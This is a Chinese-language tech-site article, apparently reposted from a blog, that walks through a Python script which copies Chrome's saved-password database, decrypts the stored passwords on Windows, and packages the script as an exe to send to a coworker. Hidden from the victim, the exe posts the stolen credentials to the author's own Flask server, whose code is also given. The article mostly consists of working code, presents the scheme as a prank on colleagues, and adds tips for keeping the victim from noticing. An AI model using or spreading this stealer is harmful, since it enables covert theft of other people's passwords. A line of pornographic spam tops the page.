自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

使用Python假裝偽黑客,批量破解朋友的網(wǎng)站密碼

開發(fā) 后端
今天看了一篇關(guān)于如何破解iphone手機密碼的文章,瞬間覺得科學(xué)技術(shù)不是第一生產(chǎn)力,why?

 如何破解iphone登陸密碼

今天看了一篇關(guān)于如何破解iphone手機密碼的文章,瞬間覺得科學(xué)技術(shù)不是第一生產(chǎn)力,why?

[[281762]]

根據(jù)“可靠消息”稱,即便美國FBI也無法輕易的對iphone手機進行暴力破解,當(dāng)然美國有一家黑客公司可針對iphone進行破解,單收費過萬美金。

那么鋪天蓋地的iphone手機密碼破解“黑客”是怎么做的?

無非是騙,他們假裝成各類官方人員告訴你發(fā)現(xiàn)你的iphone手機存在異常,需要遠程告知apple_id幫你追回手機,呵呵….

可是,這個梗和今天的文章有什么關(guān)系呢?

黑客的自我修養(yǎng)

隨著Python的活躍,各大平臺都在鼓吹,甚至已經(jīng)出了關(guān)于python黑客入門的書籍。

也許做一個黑客難如登天,那不如我們換個思路,去假裝做一個偽黑客如何?

前幾天看帖子,發(fā)現(xiàn)我們使用瀏覽器的時候,當(dāng)?shù)顷懸粋€需要輸入用戶名密碼的網(wǎng)站時,在你登陸成功后,系統(tǒng)會提示你是否保存密碼,如果點擊確認,瀏覽器將會把我們本次輸入的密碼,存儲在瀏覽器中,待下次登錄時便可以免密登錄。

那么,這些密碼是怎么保存的,又存儲在哪里呢?

Chrome瀏覽器

也許很多人會說,360瀏覽器、QQ瀏覽器,這些國產(chǎn)的加殼瀏覽器不論美觀還是所謂的安全方面都做的很符合國人需求。但如果你的工作與IT掛鉤,無疑Chrome將是很多朋友的首選。當(dāng)然這篇文章不是介紹Chrome瀏覽器的使用手冊,今天我們主要來看看Chrome瀏覽器的密碼存儲機制。

查看Chrome存儲的密碼表單

點擊你們的Chrome瀏覽器右上角,進入設(shè)置->高級->管理密碼(根據(jù)瀏覽器版本不同,可能存在部分差異),亦或者在Chrome瀏覽器中輸入chrome://settings/passwords。你會看到很多已保存過的密碼表單信息,當(dāng)然如果你要查看密碼詳情,就要輸入電腦的系統(tǒng)管理員密碼。

那么,Chrome的密碼是以什么方式進行存儲的呢?SQLite…

很多嵌入式產(chǎn)品中,都會使用SQLite數(shù)據(jù)庫進行數(shù)據(jù)存儲,它占用資源低,數(shù)據(jù)庫即文件,又支持sql語法的增刪改查,簡直不要太方便

SQLite在哪,又該怎么查詢?

首先,進入我的電腦,地址欄中輸入%LOCALAPPDATA%,進入app的數(shù)據(jù)存儲路徑:

  1. C:\Users\Administrator\AppData\Local 

之后進入chrome瀏覽器的密碼數(shù)據(jù)庫統(tǒng)一地址為:

  1. Google\Chrome\User Data\Default\Login Data 

查看Chrome瀏覽器存儲的密碼

既然拿到了SQLite數(shù)據(jù)庫文件,我們隨便找個sqlite工具,就能打開這個數(shù)據(jù)庫了!

這里我使用sqlitestudio:

 

數(shù)據(jù)庫信息展示.png

打開數(shù)據(jù)庫,我們看到有三張表:

logins 、meta、 stats

其中l(wèi)ogins中就存儲這你保存的網(wǎng)址、用戶名、密碼數(shù)據(jù),分別是:

signon_realm,username_value,password_value

但問題來了,password_value的字段看著是空的啊?因為加密了!

如何解密?網(wǎng)上查了下:

  1. CryptUnprotectData數(shù)據(jù)可以在win32crypt中找到,要使用該模塊,需要進行安裝: 
  2. pip install pywin32 
  3. 萬事俱備,就差擼代碼了! 

pip install pywin32

萬事俱備,就差擼代碼了!

代碼實現(xiàn)

  1. 1import os 
  2.  2import shutil 
  3.  3import sqlite3 
  4.  4import win32crypt 
  5.  5 
  6.  6db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data'
  7.  7 
  8.  8tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file'
  9.  9print(tmp_file) 
  10. 10if os.path.exists(tmp_file): 
  11. 11    os.remove(tmp_file) 
  12. 12shutil.copyfile(db_file_path, tmp_file) 
  13. 13 
  14. 14conn = sqlite3.connect(tmp_file) 
  15. 15for row in conn.execute('select signon_realm,username_value,password_value from logins'): 
  16. 16    ret = win32crypt.CryptUnprotectData(row[2], None, None, N one, 0) 
  17. 17    print('網(wǎng)站:%-50s,用戶名:%-20s,密碼:%s' % (row[0][:50], row[1], ret[1].decode('gbk'))) 
  18. 18 
  19. 19conn.close() 
  20. 20os.remove(tmp_file) 

通過解密,我們獲取到了Chrome瀏覽器保存的用戶名密碼,然后保存至文本。

獲取到的本地密碼.png

之后我們只需要使用pyinstaller -F xxx.py,將代碼打包成exe發(fā)給同事,就可以在他的電腦上獲取密碼了!

但,如果咱們的黑客之旅到此為止,那這個偽黑客未免有點low了吧?

數(shù)據(jù)回傳

為什么說要打包成exe?一是可以脫離環(huán)境單獨執(zhí)行,二卻是為了加殼!

我們在原有的代碼基礎(chǔ)上,添加如下內(nèi)容

  1. 1import requests 
  2. 2try: # 記得添加try except 不然萬一你忘記啟動Flask程序,豈不是讓同事發(fā)現(xiàn)了 
  3. 3    requests.post('http://192.168.1.101:9999/index'
  4. 4                  data=''.join(passwordList).encode('utf-8')) 
  5. 5except: 
  6. 6    pass 

最后整理我們的代碼:

  1.  1# -*- coding: utf-8 -*- 
  2.  2# @Author  : 王翔 
  3.  3# @JianShu : 清風(fēng)Python 
  4.  4# @Date    : 2019/5/18 22:53 
  5.  5# Software : PyCharm 
  6.  6# version:Python 3.6.8 
  7.  7# @File    : ChromePassword.py 
  8.  8 
  9.  9import os 
  10. 10import shutil 
  11. 11import sqlite3 
  12. 12import win32crypt 
  13. 13import json 
  14. 14import requests 
  15. 15 
  16. 16APP_DATA_PATH = os.environ["LOCALAPPDATA"
  17. 17DB_PATH = r'Google\Chrome\User Data\Default\Login Data' 
  18. 18 
  19. 19 
  20. 20class ChromePassword: 
  21. 21 
  22. 22    def __init__(self): 
  23. 23        self.passwordsList = [] 
  24. 24 
  25. 25    def get_chrome_db(self): 
  26. 26        _full_path = os.path.join(APP_DATA_PATH, DB_PATH) 
  27. 27        _tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file'
  28. 28        if os.path.exists(_tmp_file): 
  29. 29            os.remove(_tmp_file) 
  30. 30        shutil.copyfile(_full_path, _tmp_file) 
  31. 31        self.show_passwords(_tmp_file) 
  32. 32 
  33. 33    def show_passwords(self, db_file): 
  34. 34        conn = sqlite3.connect(db_file) 
  35. 35        _sql = '''select signon_realm,username_value,password_value from logins''' 
  36. 36        for row in conn.execute(_sql): 
  37. 37            ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0) 
  38. 38            # 密碼解析后得到的是字節(jié)碼,需要進行解碼操作 
  39. 39            _info = 'url: %-40s username: %-20s password: %s\n' % \ 
  40. 40                    (row[0][:50], row[1], ret[1].decode()) 
  41. 41            self.passwordsList.append(_info) 
  42. 42        conn.close() 
  43. 43        os.remove(db_file) 
  44. 44 
  45. 45    def save_passwords(self): 
  46. 46        with open('password.txt''w', encoding='utf-8'as f: 
  47. 47            f.writelines(self.passwordsList) 
  48. 48 
  49. 49    def transfer_passwords(self): 
  50. 50        try: 
  51. 51            # 此處填寫遠端Flask對應(yīng)的IP:PORT 
  52. 52            requests.post('http://192.168.1.102:9999/index'
  53. 53                          data=json.dumps(self.passwordsList)) 
  54. 54        except requests.exceptions.ConnectionError: 
  55. 55            pass 
  56. 56 
  57. 57 
  58. 58if __name__ == '__main__'
  59. 59    Main = ChromePassword() 
  60. 60    Main.get_chrome_db() 
  61. 61    Main.save_passwords() 
  62. 62    Main.transfer_passwords() 

下來,我們在本地寫一個最簡單的Flask程序,用戶獲取回傳的參數(shù),代碼如下:

  1.  1# -*- coding: utf-8 -*- 
  2.  2# @Author  : 王翔 
  3.  3# @JianShu : 清風(fēng)Python 
  4.  4# @Date    : 2019/5/18 22:53 
  5.  5# Software : PyCharm 
  6.  6# version:Python 3.6.8 
  7.  7# @File    : ChromePassword.py 
  8.  8 
  9.  9from flask import Flask, request 
  10. 10import time 
  11. 11import json 
  12. 12 
  13. 13app = Flask(__name__) 
  14. 14 
  15. 15 
  16. 16@app.route('/index', methods=["GET""POST"]) 
  17. 17def index(): 
  18. 18    if request.method == 'POST'
  19. 19        _txtName = '%s_%s.txt' % (request.remote_addr, 
  20. 20                                  time.strftime('%Y%m%d%H%M%S'time.localtime())) 
  21. 21        with open(_txtName, 'w', encoding='utf-8'as f: 
  22. 22            f.writelines(json.loads(request.data)) 
  23. 23    return "小哥,里面玩兒啊" 
  24. 24 
  25. 25 
  26. 26if __name__ == '__main__'
  27. 27    # 端口可自行設(shè)置 
  28. 28    app.run(host='0.0.0.0', port=9999) 

打完收工,就差同事去點擊你發(fā)給他的exe了。他以為你的工具僅僅把Chrome密碼生成txt保存,

其實,在他點擊工具的同時,你電腦會獲取他傳輸?shù)臄?shù)據(jù),并存儲在一個ip時間戳的文本中!

 

Flask回傳.png

然后,拿去給他們炫耀吧!

 

責(zé)任編輯:華軒 來源: 清風(fēng)Python
相關(guān)推薦

2014-11-19 09:15:35

2015-09-15 14:00:11

2010-09-17 10:39:56

2011-03-17 15:02:48

2011-05-19 10:44:01

2012-11-12 10:48:36

2019-01-10 05:53:57

2013-05-14 10:12:13

2014-11-26 17:53:11

網(wǎng)絡(luò)·安全技術(shù)周刊

2016-03-14 12:33:46

2009-03-24 09:12:15

2010-12-03 11:43:51

2013-05-30 10:41:50

2018-08-09 05:39:58

2018-12-14 08:35:16

2009-11-04 21:46:39

2020-12-21 16:00:07

Pythonzip文件密碼

2012-06-11 09:39:29

2010-12-13 10:37:51

2022-05-31 07:16:12

黑客網(wǎng)站Google
點贊
收藏

51CTO技術(shù)棧公眾號